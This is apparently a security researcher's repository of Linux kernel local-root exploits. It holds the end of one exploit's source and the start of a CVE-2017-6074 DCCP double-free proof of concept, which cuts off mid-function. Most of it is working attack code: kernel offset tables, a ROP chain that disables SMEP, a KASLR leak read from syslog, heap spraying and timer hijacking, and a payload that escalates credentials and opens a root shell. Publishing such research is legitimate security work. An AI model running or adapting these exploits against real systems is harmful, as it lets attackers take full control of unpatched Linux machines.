{ "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 },
};
// Used to get root privileges.
#define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds)
#define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
// Used when ENABLE_SMEP_BYPASS is used.
// - xchg eax, esp ; ret
// - pop rdi ; ret
// - mov dword ptr [rdi], eax ; ret
// - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret
// - neg rax ; ret
// - pop rcx ; ret
// - or rax, rcx ; ret
// - xchg eax, edi ; ret
// - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret
// - jmp rcx
#define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret)
#define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret)
#define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret)
#define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret)
#define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret)
#define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret)
#define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret)
#define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret)
#define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret)
#define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx)
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
void get_root(void) {
((_commit_creds)(COMMIT_CREDS))(
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));
}
// * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * *
uint64_t saved_esp;
// Unfortunately GCC does not support `__atribute__((naked))` on x86, which
// can be used to omit a function's prologue, so I had to use this weird
// wrapper hack as a workaround. Note: Clang does support it, which means it
// has better support of GCC attributes than GCC itself. Funny.
void wrapper() {
asm volatile (" \n\
payload: \n\
movq %%rbp, %%rax \n\
movq $0xffffffff00000000, %%rdx \n\
andq %%rdx, %%rax \n\
movq %0, %%rdx \n\
addq %%rdx, %%rax \n\
movq %%rax, %%rsp \n\
call get_root \n\
ret \n\
" : : "m"(saved_esp) : );
}
void payload();
#define CHAIN_SAVE_ESP \
*stack++ = POP_RDI_RET; \
*stack++ = (uint64_t)&saved_esp; \
*stack++ = MOV_DWORD_PTR_RDI_EAX_RET;
#define SMEP_MASK 0x100000
#define CHAIN_DISABLE_SMEP \
*stack++ = MOV_RAX_CR4_RET; \
*stack++ = NEG_RAX_RET; \
*stack++ = POP_RCX_RET; \
*stack++ = SMEP_MASK; \
*stack++ = OR_RAX_RCX_RET; \
*stack++ = NEG_RAX_RET; \
*stack++ = XCHG_EAX_EDI_RET; \
*stack++ = MOV_CR4_RDI_RET;
#define CHAIN_JMP_PAYLOAD \
*stack++ = POP_RCX_RET; \
*stack++ = (uint64_t)&payload; \
*stack++ = JMP_RCX;
void mmap_stack() {
uint64_t stack_aligned, stack_addr;
int page_size, stack_size, stack_offset;
uint64_t* stack;
page_size = getpagesize();
stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1);
stack_addr = stack_aligned - page_size * 4;
stack_size = page_size * 8;
stack_offset = XCHG_EAX_ESP_RET % page_size;
stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
if (stack == MAP_FAILED || stack != (void*)stack_addr) {
perror("[-] mmap()");
exit(EXIT_FAILURE);
}
stack = (uint64_t*)((char*)stack_aligned + stack_offset);
CHAIN_SAVE_ESP;
CHAIN_DISABLE_SMEP;
CHAIN_JMP_PAYLOAD;
}
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10
void mmap_syslog(char** buffer, int* size) {
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
if (*size == -1) {
perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)");
exit(EXIT_FAILURE);
}
*size = (*size / getpagesize() + 1) * getpagesize();
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
if (*size == -1) {
perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)");
exit(EXIT_FAILURE);
}
}
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) {
fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1);
exit(EXIT_FAILURE);
}
int start = 0;
int end = 0;
for (end = start; substr[end] != '-'; end++);
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL) {
fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2);
exit(EXIT_FAILURE);
}
char* endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);
r &= 0xffffffffff000000ul;
return r;
}
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) {
fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1);
exit(EXIT_FAILURE);
}
int start = 0;
int end = 0;
for (start = 0; substr[start] != '-'; start++);
for (end = start; substr[end] != '\n'; end++);
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL) {
fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2);
exit(EXIT_FAILURE);
}
char* endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);
r &= 0xfffffffffff00000ul;
r -= 0x1000000ul;
return r;
}
unsigned long get_kernel_addr() {
char* syslog;
int size;
mmap_syslog(&syslog, &size);
if (strcmp("trusty", kernels[kernel].distro) == 0 &&
strncmp("4.4.0", kernels[kernel].version, 5) == 0)
return get_kernel_addr_trusty(syslog, size);
if (strcmp("xenial", kernels[kernel].distro) == 0 &&
strncmp("4.8.0", kernels[kernel].version, 5) == 0)
return get_kernel_addr_xenial(syslog, size);
printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*");
exit(EXIT_FAILURE);
}
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
struct ubuf_info {
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
uint64_t ctx; // void *
uint64_t desc; // unsigned long
};
struct skb_shared_info {
uint8_t nr_frags; // unsigned char
uint8_t tx_flags; // __u8
uint16_t gso_size; // unsigned short
uint16_t gso_segs; // unsigned short
uint16_t gso_type; // unsigned short
uint64_t frag_list; // struct sk_buff *
uint64_t hwtstamps; // struct skb_shared_hwtstamps
uint32_t tskey; // u32
uint32_t ip6_frag_id; // __be32
uint32_t dataref; // atomic_t
uint64_t destructor_arg; // void *
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
};
struct ubuf_info ui;
void init_skb_buffer(char* buffer, unsigned long func) {
struct skb_shared_info* ssi = (struct skb_shared_info*)buffer;
memset(ssi, 0, sizeof(*ssi));
ssi->tx_flags = 0xff;
ssi->destructor_arg = (uint64_t)&ui;
ssi->nr_frags = 0;
ssi->frag_list = 0;
ui.callback = func;
}
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
#define SHINFO_OFFSET 3164
void oob_execute(unsigned long payload) {
char buffer[4096];
memset(&buffer[0], 0x42, 4096);
init_skb_buffer(&buffer[SHINFO_OFFSET], payload);
int s = socket(PF_INET, SOCK_DGRAM, 0);
if (s == -1) {
perror("[-] socket()");
exit(EXIT_FAILURE);
}
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(8000);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
if (connect(s, (void*)&addr, sizeof(addr))) {
perror("[-] connect()");
exit(EXIT_FAILURE);
}
int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);
int rv = send(s, buffer, size, MSG_MORE);
if (rv != size) {
perror("[-] send()");
exit(EXIT_FAILURE);
}
int val = 1;
rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val));
if (rv != 0) {
perror("[-] setsockopt(SO_NO_CHECK)");
exit(EXIT_FAILURE);
}
send(s, buffer, 1, 0);
close(s);
}
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
#define CHUNK_SIZE 1024
int read_file(const char* file, char* buffer, int max_length) {
int f = open(file, O_RDONLY);
if (f == -1)
return -1;
int bytes_read = 0;
while (true) {
int bytes_to_read = CHUNK_SIZE;
if (bytes_to_read > max_length - bytes_read)
bytes_to_read = max_length - bytes_read;
int rv = read(f, &buffer[bytes_read], bytes_to_read);
if (rv == -1)
return -1;
bytes_read += rv;
if (rv == 0)
return bytes_read;
}
}
#define LSB_RELEASE_LENGTH 1024
void get_distro_codename(char* output, int max_length) {
char buffer[LSB_RELEASE_LENGTH];
int length = read_file("/etc/lsb-release", &buffer[0], LSB_RELEASE_LENGTH);
if (length == -1) {
perror("[-] open/read(/etc/lsb-release)");
exit(EXIT_FAILURE);
}
const char *needle = "DISTRIB_CODENAME=";
int needle_length = strlen(needle);
char* found = memmem(&buffer[0], length, needle, needle_length);
if (found == NULL) {
printf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n");
exit(EXIT_FAILURE);
}
int i;
for (i = 0; found[needle_length + i] != '\n'; i++) {
assert(i < max_length);
assert((found - &buffer[0]) + needle_length + i < length);
output[i] = found[needle_length + i];
}
}
void get_kernel_version(char* output, int max_length) {
struct utsname u;
int rv = uname(&u);
if (rv != 0) {
perror("[-] uname())");
exit(EXIT_FAILURE);
}
assert(strlen(u.release) <= max_length);
strcpy(&output[0], u.release);
}
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
#define DISTRO_CODENAME_LENGTH 32
#define KERNEL_VERSION_LENGTH 32
void detect_versions() {
char codename[DISTRO_CODENAME_LENGTH];
char version[KERNEL_VERSION_LENGTH];
get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH);
get_kernel_version(&version[0], KERNEL_VERSION_LENGTH);
int i;
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
if (strcmp(&codename[0], kernels[i].distro) == 0 &&
strcmp(&version[0], kernels[i].version) == 0) {
printf("[.] kernel version '%s' detected\n", kernels[i].version);
kernel = i;
return;
}
}
printf("[-] kernel version not recognized\n");
exit(EXIT_FAILURE);
}
#define PROC_CPUINFO_LENGTH 4096
// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
int smap_smep_enabled() {
char buffer[PROC_CPUINFO_LENGTH];
int length = read_file("/proc/cpuinfo", &buffer[0], PROC_CPUINFO_LENGTH);
if (length == -1) {
perror("[-] open/read(/proc/cpuinfo)");
exit(EXIT_FAILURE);
}
int rv = 0;
char* found = memmem(&buffer[0], length, "smep", 4);
if (found != NULL)
rv += 1;
found = memmem(&buffer[0], length, "smap", 4);
if (found != NULL)
rv += 2;
return rv;
}
void check_smep_smap() {
int rv = smap_smep_enabled();
if (rv >= 2) {
printf("[-] SMAP detected, no bypass available\n");
exit(EXIT_FAILURE);
}
#if !ENABLE_SMEP_BYPASS
if (rv >= 1) {
printf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n");
exit(EXIT_FAILURE);
}
#endif
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
static bool write_file(const char* file, const char* what, ...) {
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
close(fd);
return false;
}
close(fd);
return true;
}
void setup_sandbox() {
int real_uid = getuid();
int real_gid = getgid();
if (unshare(CLONE_NEWUSER) != 0) {
printf("[!] unprivileged user namespaces are not available\n");
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/setgroups", "deny")) {
perror("[-] write_file(/proc/self/set_groups)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
perror("[-] write_file(/proc/self/uid_map)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
perror("[-] write_file(/proc/self/gid_map)");
exit(EXIT_FAILURE);
}
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
perror("[-] sched_setaffinity()");
exit(EXIT_FAILURE);
}
if (system("/sbin/ifconfig lo mtu 1500") != 0) {
perror("[-] system(/sbin/ifconfig lo mtu 1500)");
exit(EXIT_FAILURE);
}
if (system("/sbin/ifconfig lo up") != 0) {
perror("[-] system(/sbin/ifconfig lo up)");
exit(EXIT_FAILURE);
}
}
void exec_shell() {
char* shell = "/bin/bash";
char* args[] = {shell, "-i", NULL};
execve(shell, args, NULL);
}
bool is_root() {
// We can't simple check uid, since we're running inside a namespace
// with uid set to 0. Try opening /etc/shadow instead.
int fd = open("/etc/shadow", O_RDONLY);
if (fd == -1)
return false;
close(fd);
return true;
}
void check_root() {
printf("[.] checking if we got root\n");
if (!is_root()) {
printf("[-] something went wrong =(\n");
return;
}
printf("[+] got r00t ^_^\n");
exec_shell();
}
int main(int argc, char** argv) {
printf("[.] starting\n");
printf("[.] checking distro and kernel versions\n");
detect_versions();
printf("[~] done, versions looks good\n");
printf("[.] checking SMEP and SMAP\n");
check_smep_smap();
printf("[~] done, looks good\n");
printf("[.] setting up namespace sandbox\n");
setup_sandbox();
printf("[~] done, namespace sandbox set up\n");
#if ENABLE_KASLR_BYPASS
printf("[.] KASLR bypass enabled, getting kernel addr\n");
KERNEL_BASE = get_kernel_addr();
printf("[~] done, kernel text: %lx\n", KERNEL_BASE);
#endif
printf("[.] commit_creds: %lx\n", COMMIT_CREDS);
printf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);
unsigned long payload = (unsigned long)&get_root;
#if ENABLE_SMEP_BYPASS
printf("[.] SMEP bypass enabled, mmapping fake stack\n");
mmap_stack();
payload = XCHG_EAX_ESP_RET;
printf("[~] done, fake stack mmapped\n");
#endif
printf("[.] executing payload %lx\n", payload);
oob_execute(payload);
printf("[~] done, should be root now\n");
check_root();
return 0;
}

17
2017/CVE-2017-6074/README.md Executable file
View File

@ -0,0 +1,17 @@
CVE-2017-6074
=============
- [CVE-2017-6074](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6074)
This is a proof-of-concept local root exploit for the vulnerability in the DCCP protocol implementation [CVE-2017-6074](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-6074).
Includes a semireliable SMEP/SMAP bypass (the kernel might crash shorty after the exploit succeds).
Some details: http://www.openwall.com/lists/oss-security/2017/02/26/2
Timeline:
* 2017-02-15: Bug reported to security@kernel org
* 2017-02-16: [Patch submitted to netdev](https://patchwork.ozlabs.org/patch/728808/)
* 2017-02-17: [Patch committed to mainline kernel](https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=5edabca9d4cff7f1f2b68f0bac55ef99d9798ba4)
* 2017-02-18: Notification sent to linux-distros
* 2017-02-22: [Public announcement](http://seclists.org/oss-sec/2017/q1/471)
* 2017-02-26: [Exploit](https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074) published

708
2017/CVE-2017-6074/poc.c Executable file
View File

@ -0,0 +1,708 @@
// A proof-of-concept local root exploit for CVE-2017-6074.
// Includes a semireliable SMAP/SMEP bypass.
// Tested on 4.4.0-62-generic #83-Ubuntu kernel.
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074
//
// Usage:
// $ gcc poc.c -o pwn
// $ ./pwn
// [.] namespace sandbox setup successfully
// [.] disabling SMEP & SMAP
// [.] scheduling 0xffffffff81064550(0x406e0)
// [.] waiting for the timer to execute
// [.] done
// [.] SMEP & SMAP should be off now
// [.] getting root
// [.] executing 0x402043
// [.] done
// [.] should be root now
// [.] checking if we got root
// [+] got r00t ^_^
// [!] don't kill the exploit binary, the kernel will crash
// # cat /etc/shadow
// ...
// daemon:*:17149:0:99999:7:::
// bin:*:17149:0:99999:7:::
// sys:*:17149:0:99999:7:::
// sync:*:17149:0:99999:7:::
// games:*:17149:0:99999:7:::
// ...
//
// Andrey Konovalov <andreyknvl@gmail.com>
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <netinet/if_ether.h>
#define SMEP_SMAP_BYPASS 1
// Needed for local root.
#define COMMIT_CREDS 0xffffffff810a2840L
#define PREPARE_KERNEL_CRED 0xffffffff810a2c30L
#define SHINFO_OFFSET 1728
// Needed for SMEP_SMAP_BYPASS.
#define NATIVE_WRITE_CR4 0xffffffff81064550ul
#define CR4_DESIRED_VALUE 0x406e0ul
#define TIMER_OFFSET (728 + 48 + 104)
#define KMALLOC_PAD 128
#define KMALLOC_WARM 32
#define CATCH_FIRST 6
#define CATCH_AGAIN 16
#define CATCH_AGAIN_SMALL 64
// Port is incremented on each use.
static int port = 11000;
void debug(const char *msg) {
/*
char buffer[32];
snprintf(&buffer[0], sizeof(buffer), "echo '%s' > /dev/kmsg\n", msg);
system(buffer);
*/
}
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
struct ubuf_info {
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
uint64_t ctx; // void *
uint64_t desc; // unsigned long
};
struct skb_shared_info {
uint8_t nr_frags; // unsigned char
uint8_t tx_flags; // __u8
uint16_t gso_size; // unsigned short
uint16_t gso_segs; // unsigned short
uint16_t gso_type; // unsigned short
uint64_t frag_list; // struct sk_buff *
uint64_t hwtstamps; // struct skb_shared_hwtstamps
uint32_t tskey; // u32
uint32_t ip6_frag_id; // __be32
uint32_t dataref; // atomic_t
uint64_t destructor_arg; // void *
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
};
struct ubuf_info ui;
void init_skb_buffer(char* buffer, void *func) {
memset(&buffer[0], 0, 2048);
struct skb_shared_info *ssi = (struct skb_shared_info *)&buffer[SHINFO_OFFSET];
ssi->tx_flags = 0xff;
ssi->destructor_arg = (uint64_t)&ui;
ssi->nr_frags = 0;
ssi->frag_list = 0;
ui.callback = (unsigned long)func;
}
struct timer_list {
void *next;
void *prev;
unsigned long expires;
void (*function)(unsigned long);
unsigned long data;
unsigned int flags;
int slack;
};
void init_timer_buffer(char* buffer, void *func, unsigned long arg) {
memset(&buffer[0], 0, 2048);
struct timer_list* timer = (struct timer_list *)&buffer[TIMER_OFFSET];
timer->next = 0;
timer->prev = 0;
timer->expires = 4294943360;
timer->function = func;
timer->data = arg;
timer->flags = 1;
timer->slack = -1;
}
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
struct dccp_handle {
struct sockaddr_in6 sa;
int s1;
int s2;
};
void dccp_init(struct dccp_handle *handle, int port) {
handle->sa.sin6_family = AF_INET6;
handle->sa.sin6_port = htons(port);
inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr);
handle->sa.sin6_flowinfo = 0;
handle->sa.sin6_scope_id = 0;
handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
if (handle->s1 == -1) {
perror("socket(SOCK_DCCP)");
exit(EXIT_FAILURE);
}
int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa));
if (rv != 0) {
perror("bind()");
exit(EXIT_FAILURE);
}
rv = listen(handle->s1, 0x9);
if (rv != 0) {
perror("listen()");
exit(EXIT_FAILURE);
}
int optval = 8;
rv = setsockopt(handle->s1, IPPROTO_IPV6, IPV6_RECVPKTINFO,
&optval, sizeof(optval));
if (rv != 0) {
perror("setsockopt(IPV6_RECVPKTINFO)");
exit(EXIT_FAILURE);
}
handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
if (handle->s1 == -1) {
perror("socket(SOCK_DCCP)");
exit(EXIT_FAILURE);
}
}
void dccp_kmalloc_kfree(struct dccp_handle *handle) {
int rv = connect(handle->s2, &handle->sa, sizeof(handle->sa));
if (rv != 0) {
perror("connect(SOCK_DCCP)");
exit(EXIT_FAILURE);
}
}
void dccp_kfree_again(struct dccp_handle *handle) {
int rv = shutdown(handle->s1, SHUT_RDWR);
if (rv != 0) {
perror("shutdown(SOCK_DCCP)");
exit(EXIT_FAILURE);
}
}
void dccp_destroy(struct dccp_handle *handle) {
close(handle->s1);
close(handle->s2);
}
// * * * * * * * * * * * * * * Heap spraying * * * * * * * * * * * * * * * * *
struct udp_fifo_handle {
int fds[2];
};
void udp_fifo_init(struct udp_fifo_handle* handle) {
int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, handle->fds);
if (rv != 0) {
perror("socketpair()");
exit(EXIT_FAILURE);
}
}
void udp_fifo_destroy(struct udp_fifo_handle* handle) {
close(handle->fds[0]);
close(handle->fds[1]);
}
void udp_fifo_kmalloc(struct udp_fifo_handle* handle, char *buffer) {
int rv = send(handle->fds[0], buffer, 1536, 0);
if (rv != 1536) {
perror("send()");
exit(EXIT_FAILURE);
}
}
void udp_fifo_kmalloc_small(struct udp_fifo_handle* handle) {
char buffer[128];
int rv = send(handle->fds[0], &buffer[0], 128, 0);
if (rv != 128) {
perror("send()");
exit(EXIT_FAILURE);
}
}
void udp_fifo_kfree(struct udp_fifo_handle* handle) {
char buffer[2048];
int rv = recv(handle->fds[1], &buffer[0], 1536, 0);
if (rv != 1536) {
perror("recv()");
exit(EXIT_FAILURE);
}
}
int timer_kmalloc() {
int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
if (s == -1) {
perror("socket(SOCK_DGRAM)");
exit(EXIT_FAILURE);
}
return s;
}
#define CONF_RING_FRAMES 1
void timer_schedule(int handle, int timeout) {
int optval = TPACKET_V3;
int rv = setsockopt(handle, SOL_PACKET, PACKET_VERSION,
&optval, sizeof(optval));
if (rv != 0) {
perror("setsockopt(PACKET_VERSION)");
exit(EXIT_FAILURE);
}
struct tpacket_req3 tp;
memset(&tp, 0, sizeof(tp));
tp.tp_block_size = CONF_RING_FRAMES * getpagesize();
tp.tp_block_nr = 1;
tp.tp_frame_size = getpagesize();
tp.tp_frame_nr = CONF_RING_FRAMES;
tp.tp_retire_blk_tov = timeout;
rv = setsockopt(handle, SOL_PACKET, PACKET_RX_RING,
(void *)&tp, sizeof(tp));
if (rv != 0) {
perror("setsockopt(PACKET_RX_RING)");
exit(EXIT_FAILURE);
}
}
void socket_sendmmsg(int sock, char *buffer) {
struct mmsghdr msg[1];
msg[0].msg_hdr.msg_iovlen = 0;
// Buffer to kmalloc.
msg[0].msg_hdr.msg_control = &buffer[0];
msg[0].msg_hdr.msg_controllen = 2048;
// Make sendmmsg exit easy with EINVAL.
msg[0].msg_hdr.msg_name = "root";
msg[0].msg_hdr.msg_namelen = 1;
int rv = syscall(__NR_sendmmsg, sock, msg, 1, 0);
if (rv == -1 && errno != EINVAL) {
perror("[-] sendmmsg()");
exit(EXIT_FAILURE);
}
}
void sendmmsg_kmalloc_kfree(int port, char *buffer) {
int sock[2];
int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, sock);
if (rv != 0) {
perror("socketpair()");
exit(EXIT_FAILURE);
}
socket_sendmmsg(sock[0], buffer);
close(sock[0]);
}
// * * * * * * * * * * * * * * Heap warming * * * * * * * * * * * * * * * * *
void dccp_connect_pad(struct dccp_handle *handle, int port) {
handle->sa.sin6_family = AF_INET6;
handle->sa.sin6_port = htons(port);
inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr);
handle->sa.sin6_flowinfo = 0;
handle->sa.sin6_scope_id = 0;
handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
if (handle->s1 == -1) {
perror("socket(SOCK_DCCP)");
exit(EXIT_FAILURE);
}
int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa));
if (rv != 0) {
perror("bind()");
exit(EXIT_FAILURE);
}
rv = listen(handle->s1, 0x9);
if (rv != 0) {
perror("listen()");
exit(EXIT_FAILURE);
}
handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
if (handle->s1 == -1) {
perror("socket(SOCK_DCCP)");
exit(EXIT_FAILURE);
}
rv = connect(handle->s2, &handle->sa, sizeof(handle->sa));
if (rv != 0) {
perror("connect(SOCK_DCCP)");
exit(EXIT_FAILURE);
}
}
void dccp_kmalloc_pad() {
int i;
struct dccp_handle handle;
for (i = 0; i < 4; i++) {
dccp_connect_pad(&handle, port++);
}
}
void timer_kmalloc_pad() {
int i;
for (i = 0; i < 4; i++) {
socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
}
}
void udp_kmalloc_pad() {
int i, j;
char dummy[2048];
struct udp_fifo_handle uh[16];
for (i = 0; i < KMALLOC_PAD / 16; i++) {
udp_fifo_init(&uh[i]);
for (j = 0; j < 16; j++)
udp_fifo_kmalloc(&uh[i], &dummy[0]);
}
}
void kmalloc_pad() {
debug("dccp kmalloc pad");
dccp_kmalloc_pad();
debug("timer kmalloc pad");
timer_kmalloc_pad();
debug("udp kmalloc pad");
udp_kmalloc_pad();
}
void udp_kmalloc_warm() {
int i, j;
char dummy[2048];
struct udp_fifo_handle uh[16];
for (i = 0; i < KMALLOC_WARM / 16; i++) {
udp_fifo_init(&uh[i]);
for (j = 0; j < 16; j++)
udp_fifo_kmalloc(&uh[i], &dummy[0]);
}
for (i = 0; i < KMALLOC_WARM / 16; i++) {
for (j = 0; j < 16; j++)
udp_fifo_kfree(&uh[i]);
}
}
void kmalloc_warm() {
udp_kmalloc_warm();
}
// * * * * * * * * * * * * * Disabling SMEP/SMAP * * * * * * * * * * * * * * *
// Executes func(arg) from interrupt context multiple times.
void kernel_exec_irq(void *func, unsigned long arg) {
int i;
struct dccp_handle dh;
struct udp_fifo_handle uh1, uh2, uh3, uh4;
char dummy[2048];
char buffer[2048];
printf("[.] scheduling %p(%p)\n", func, (void *)arg);
memset(&dummy[0], 0xc3, 2048);
init_timer_buffer(&buffer[0], func, arg);
udp_fifo_init(&uh1);
udp_fifo_init(&uh2);
udp_fifo_init(&uh3);
udp_fifo_init(&uh4);
debug("kmalloc pad");
kmalloc_pad();
debug("kmalloc warm");
kmalloc_warm();
debug("dccp init");
dccp_init(&dh, port++);
debug("dccp kmalloc kfree");
dccp_kmalloc_kfree(&dh);
debug("catch 1");
for (i = 0; i < CATCH_FIRST; i++)
udp_fifo_kmalloc(&uh1, &dummy[0]);
debug("dccp kfree again");
dccp_kfree_again(&dh);
debug("catch 2");
for (i = 0; i < CATCH_FIRST; i++)
udp_fifo_kmalloc(&uh2, &dummy[0]);
int timers[CATCH_FIRST];
debug("catch 1 -> timer");
for (i = 0; i < CATCH_FIRST; i++) {
udp_fifo_kfree(&uh1);
timers[i] = timer_kmalloc();
}
debug("catch 1 small");
for (i = 0; i < CATCH_AGAIN_SMALL; i++)
udp_fifo_kmalloc_small(&uh4);
debug("schedule timers");
for (i = 0; i < CATCH_FIRST; i++)
timer_schedule(timers[i], 500);
debug("catch 2 -> overwrite timers");
for (i = 0; i < CATCH_FIRST; i++) {
udp_fifo_kfree(&uh2);
udp_fifo_kmalloc(&uh3, &buffer[0]);
}
debug("catch 2 small");
for (i = 0; i < CATCH_AGAIN_SMALL; i++)
udp_fifo_kmalloc_small(&uh4);
printf("[.] waiting for the timer to execute\n");
debug("wait");
sleep(1);
printf("[.] done\n");
}
void disable_smep_smap() {
printf("[.] disabling SMEP & SMAP\n");
kernel_exec_irq((void *)NATIVE_WRITE_CR4, CR4_DESIRED_VALUE);
printf("[.] SMEP & SMAP should be off now\n");
}
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * *
// Executes func() from process context.
void kernel_exec(void *func) {
int i;
struct dccp_handle dh;
struct udp_fifo_handle uh1, uh2, uh3;
char dummy[2048];
char buffer[2048];
printf("[.] executing %p\n", func);
memset(&dummy[0], 0, 2048);
init_skb_buffer(&buffer[0], func);
